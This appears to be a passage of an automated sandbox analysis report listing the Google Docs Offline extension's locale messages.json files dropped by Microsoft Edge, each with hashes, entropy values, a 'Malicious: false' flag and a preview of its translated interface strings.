Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

